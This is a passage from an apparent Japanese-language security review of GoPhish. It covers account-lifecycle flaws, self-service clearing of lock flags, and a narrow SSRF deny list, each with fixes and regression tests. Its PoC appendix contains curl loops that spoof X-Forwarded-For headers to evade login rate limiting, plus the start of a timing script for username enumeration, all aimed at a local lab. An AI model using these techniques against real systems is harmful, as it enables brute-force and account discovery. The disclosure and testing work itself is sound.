&lt;td style="text-align: left;"&gt;認証済みのすべてのインターフェースと認証情報に同じアカウントの状態を適用する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これはCookie設定のバグにとどまらない、ライフサイクルの破綻です。組織がアカウントロック、パスワードの強制ローテーション、退職者のオフボーディングを制御として使っているなら、APIがそれとは別の、より制限の緩いアイデンティティシステムであり続けることは許されません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：扉を開けたままにするオフボーディング制御&lt;/strong&gt;：あるチームが不審なアクティビティを検知し、アカウントをロックし、パスワードをリセットし、該当ユーザーにログアウトを求めます。オペレーターの視点では、ブラウザーセッションは解決したように見えるかもしれません。しかし、以前に自動化スクリプトにコピーされたAPIキーは、依然としてそのアカウントに対応しています。APIミドルウェアは同じアカウント状態のチェックを強制せずにベアラーキーを検証するため、スクリプトはAPIの機能に到達し続けます。リスクは悪意のある永続化だけではありません。あるインターフェースではアカウントが無効と表示され、別のインターフェースでは引き続き受け付けられるという、混乱を招くインシデント対応も生み出します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：サーバー側セッションまたはバージョン管理されたセッションに移行する。ログアウト、パスワードリセット、ロックアウト、権限変更の際にセッションとAPIキーをローテーションまたは失効させる。そしてAPIキーのミドルウェアでアカウント状態のチェックを強制する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：CookieセッションとAPIキーを発行し、ログアウト、パスワード変更、アカウントロック、ロール変更を個別のケースとして実行する。毎回、両方のインターフェースについて望ましい結果を検証する。セキュリティ上重要な状態遷移には、ログインそのものと同じテストカバレッジが必要である。&lt;/p&gt;
&lt;h2 id="7. ユーザー更新apiが管理用の制御フィールドを受け付ける"&gt;7. ユーザー更新APIが管理用の制御フィールドを受け付ける&lt;/h2&gt;
&lt;p&gt;有効なAPIキーを持つシステム権限のないユーザーが、自身の&lt;code&gt;PasswordChangeRequired&lt;/code&gt;フラグと&lt;code&gt;AccountLocked&lt;/code&gt;フラグをクリアできます。これにより、管理者が強制しようとしたパスワードの強制変更やアカウントロックの制御を、ユーザー自身が無効化できてしまいます。&lt;/p&gt;
&lt;p&gt;更新用エンドポイントは、セルフサービスの変更に使われるのと同じリクエスト表現の中でこれらのポリシーフィールドを受け付け、それらを保存済みのユーザーに直接コピーします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;existingUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PasswordChangeRequired&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PasswordChangeRequired&lt;/span&gt;
&lt;span class="c1"&gt;// ... password update omitted ...&lt;/span&gt;
&lt;span class="nx"&gt;existingUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AccountLocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AccountLocked&lt;/span&gt;
&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PutUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;existingUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ロールの変更にはシステムロールのガードがありますが、この2つのアカウント制御フィールドにはありません。根本原因は、管理者によるアカウント管理とセルフサービスのプロファイル更新という2つの権限に、一つの広範なリクエスト型が対応していることです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：もはやポリシーではなくなったポリシーフラグ&lt;/strong&gt;：ある組織では、ユーザーは作業を続ける前に一時パスワードを変更しなければなりません。アカウントには管理者によって正しくフラグが設定されています。しかし、APIがそのフィールドを通常のプロファイルデータとして扱うため、同じユーザーがその要件を取り除く状態を含むセルフ更新の表現を送信できます。結果は目立たないものです。劇的なロール昇格はありませんが、セキュリティチームや運用チームが確立した制御を、本来それが制約するはずの当人が無効化できるのです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：セルフサービスのプロファイル変更と管理者によるアカウント管理に、別々のリクエスト型を使う。フィールドレベルの認可を適用し、ロックとパスワード変更のポリシーフラグへのセルフサービスによる書き込みを拒否し、機密性の高いすべてのフィールドについてネガティブケースをテストする。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：システム権限のないユーザーとして認証し、ロック状態、認証情報のポリシー、ロール、アカウントのライフサイクルに影響するすべてのフィールドの更新を試みる。期待される結果は「更新が失敗する」だけではない。それらのフィールドについて、永続化されたアカウントがまったく変更されないことである。&lt;/p&gt;
&lt;h2 id="8. import siteのダイヤラーがデフォルトで狭い拒否リストを使う"&gt;8. Import Siteのダイヤラーがデフォルトで狭い拒否リストを使う&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;POST /api/import/site&lt;/code&gt;は、制限付きのダイヤラーを通じてユーザーが指定したURLを取得します。その役割は、ブラウザーのためにURLを検証するだけではありません。GoPhishはHTTPトランスポートをインスタンス化し、サーバーサイドのリクエストを行い、レスポンスをHTMLとしてパースし、その結果のページコンテンツを認証済みの呼び出し元に返します。制限は実在しますが、そのデフォルトのポリシーはリンクローカルのメタデータ範囲しか拒否しません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;defaultDeny&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"169.254.0.0/16"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;denyList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;defaultDeny&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;denyList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;allInternal&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;より完全な&lt;code&gt;allInternal&lt;/code&gt;リストには、ループバック、RFC1918、その他の非公開範囲が含まれていますが、これが有効になるのは&lt;code&gt;allowed_internal_hosts&lt;/code&gt;が設定されている場合だけです。デフォルト設定では、ネットワークのルーティングとサービスの稼働状況次第で、インポート機能を通じてプライベートネットワーク上の宛先に到達可能なままになります。&lt;/p&gt;
&lt;p&gt;この設定の挙動は、レビューで特に見落としやすいものです。完全な内部アドレスのポリシーはコードベースに存在するため、カバレッジがあるという誤った安心感を生み得ますが、それが選択されるのは許可リストが設定された後だけです。言い換えれば、例外を表現するための機能が、ベースラインのセキュリティモデルを変えてしまうのです。デフォルトの挙動は、リポジトリに存在する最も制限の厳しいリストではなく、デフォルトの拒否リストによって判断しなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：クローン機能が内部ネットワークのクライアントになる&lt;/strong&gt;：オペレーターが、ランディングページの作成を迅速化するためにImport Siteを使用します。この機能はURLを受け取り、制限付きのダイヤラーでHTTPクライアントを作成し、ページを取得して、HTMLを認証済みの呼び出し元に返します。デフォルトのインストールでは、ダイヤラーはクラウドメタデータのリンクローカルアドレスをブロックしますが、より広いプライベートアドレスのポリシーは適用しません。実行環境が内部サービスにルーティングできる場合、この機能によって、オペレーターのブラウザーではなくGoPhishサーバーがそのサービスと通信できてしまいます。これはまさに、サーバーサイドリクエストフォージェリ（SSRF）対策が防ぐために設計されているカテゴリのリスクです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Import Site機能が合成したローカルのテスト用宛先に到達する様子を示した、サニタイズ済みのAgentic Deep Scanのエビデンス。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/agentic-deep-scan-import-site-evidence.png" title="サニタイズしたAgentic Deep ScanのImport Siteのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズしたAgentic Deep ScanのImport Siteのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図6：Import Siteの経路に関する、サニタイズしたAgentic Deep Scanのエビデンス。認証情報、ホストの詳細、レスポンスの値は、合成したローカルのテスト値に置き換えています。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;このシナリオは、特定の内部サービスに到達可能であることや、レスポンスが有用であることを前提としていません。アプリケーションが、ネットワークトポロジーが関わる前にセキュリティ上の判断を下さなければならない理由を説明しています。実行時の接続性は時間とともに変化するものであり、安全なURLポリシーは、魅力的なターゲットが今たまたま存在しないことに頼ることはできません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：包括的な非公開範囲のリストをデフォルトの拒否ポリシーとし、正当な内部クローンには明示的な許可リストを使う。公開IPv6をサポートするかどうかを決定して文書化する。レビュー対象の&lt;code&gt;allInternal&lt;/code&gt;リストには&lt;code&gt;::/0&lt;/code&gt;が含まれており、ローカルのIPv6範囲だけでなくすべてのIPv6をブロックしている。スキームを検証し、すべてのリダイレクトと接続で宛先ポリシーを維持し、汎用的な取得失敗を返し、TLS証明書の検証を復活させ、ネットワーク層でGoPhishの実行環境からのエグレスを制限する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：代表的な公開、ループバック、RFC1918、リンクローカル、IPv6ローカル、リダイレクト、DNSリバインディングのテストホストを使ってインポート経路を実行する。許可リストを有効にした設定だけでなく、デフォルト設定でも、すべての非公開の宛先を拒否しなければならない。&lt;/p&gt;
&lt;h2 id="ローカル検証の付録:pocと修復"&gt;ローカル検証の付録：PoCと修復&lt;/h2&gt;
&lt;p&gt;以下の手順は、GoPhish最新版を実行する隔離されたラボで、検証済みの挙動を再現するものです。意図的に&lt;code&gt;127.0.0.1&lt;/code&gt;、合成アカウント、無害な&lt;code&gt;alert()&lt;/code&gt;ペイロード、テスト専用のSMTPおよびHTTPサービスを使用しています。ホストもサンプルのアイデンティティも、許可を受けた環境の外にあるシステム、データ、アカウントに置き換えないでください。&lt;/p&gt;
&lt;h3 id="共通のラボ設定"&gt;共通のラボ設定&lt;/h3&gt;
&lt;p&gt;付属のデフォルト設定でGoPhishを実行すると、次のアドレスでリッスンします：&lt;code&gt;https://127.0.0.1:3333&lt;/code&gt;. 2人の通常のAPIユーザー&lt;code&gt;lab-owner&lt;/code&gt;と&lt;code&gt;lab-user&lt;/code&gt;を作成し、それぞれのAPIキーを&lt;code&gt;OWNER_KEY&lt;/code&gt;と&lt;code&gt;USER_KEY&lt;/code&gt;として記録します。以下の例では、これらのシェル変数を使用します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GOPHISH_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'https://127.0.0.1:3333'&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;OWNER_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'replace-with-lab-owner-key'&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;USER_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'replace-with-lab-user-key'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;開発用の証明書は自己署名であるため、ローカルのコマンドでは&lt;code&gt;-k&lt;/code&gt;を使用します。このTLS設定を本番環境のワークフローに持ち込まないでください。&lt;/p&gt;
&lt;h3 id="1. 転送アドレスの偽装によるレート制限のバイパス"&gt;1. 転送アドレスの偽装によるレート制限のバイパス&lt;/h3&gt;
&lt;p&gt;まず、一つのセッションで転送ヘッダーを付けずに、無効なログインを6回試行します。ローカルの直接アクセスの構成では、6回目のリクエストがレート制限されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ksc&lt;span class="w"&gt; &lt;/span&gt;cookies.txt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;login.html
&lt;span class="nv"&gt;CSRF_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/.*name="csrf_token" value="\([^"]*\)".*/\1/p'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;login.html&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ks&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"attempt &lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;: %{http_code}\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;cookies.txt&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;cookies.txt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Origin: &lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Referer: &lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'username=does-not-exist'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'password=not-the-password'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"csrf_token=&lt;/span&gt;&lt;span class="nv"&gt;$CSRF_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;隔離されたラボで、転送アドレスを変えながら6回の試行を繰り返します。脆弱な場合に期待される挙動は、各レスポンスが&lt;code&gt;429&lt;/code&gt;にならず、無効なログインのレスポンスのままであることです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ks&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"attempt &lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;: %{http_code}\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;cookies.txt&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;cookies.txt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Origin: &lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Referer: &lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"X-Forwarded-For: 198.51.100.&lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"X-Real-IP: 198.51.100.&lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'username=does-not-exist'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'password=not-the-password'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--data-urlencode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"csrf_token=&lt;/span&gt;&lt;span class="nv"&gt;$CSRF_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/login"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：クライアントが指定した転送ヘッダーをエッジで除去し、可能であれば管理用リスナーをプライベートインターフェースにバインドし、TCPの接続相手が明示的に設定されたリバースプロキシであることを確認した後でのみプロキシヘッダーの正規化を適用します。2つ目の制御として、独立したエッジでのレート制限を適用します。リグレッションテストでは、想定されたプロキシ経由の経路と、直接アクセスを試みる経路の両方を実行しなければなりません。&lt;/p&gt;
&lt;h3 id="2. 非対称な認証処理によるユーザー名の列挙"&gt;2. 非対称な認証処理によるユーザー名の列挙&lt;/h3&gt;
&lt;p&gt;ローカルのチェックでは、既知のテストユーザーと合成した未知の名前を比較します。同じ低レイテンシーの環境から複数のサンプルを実行し、いずれか一つのレスポンスを証明として扱うのではなく、中央値を比較します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# timing_poc.py -- run only against the local lab&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;html&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;itertools&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;statistics&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"https://127.0.0.1:3333/login"&lt;/span&gt;
&lt;span class="n"&gt;SAMPLES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
&lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"lab-owner"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"not-a-real-user"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ip_suffixes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;itertools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'name="csrf_token" value="'&lt;/span&gt;
    &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
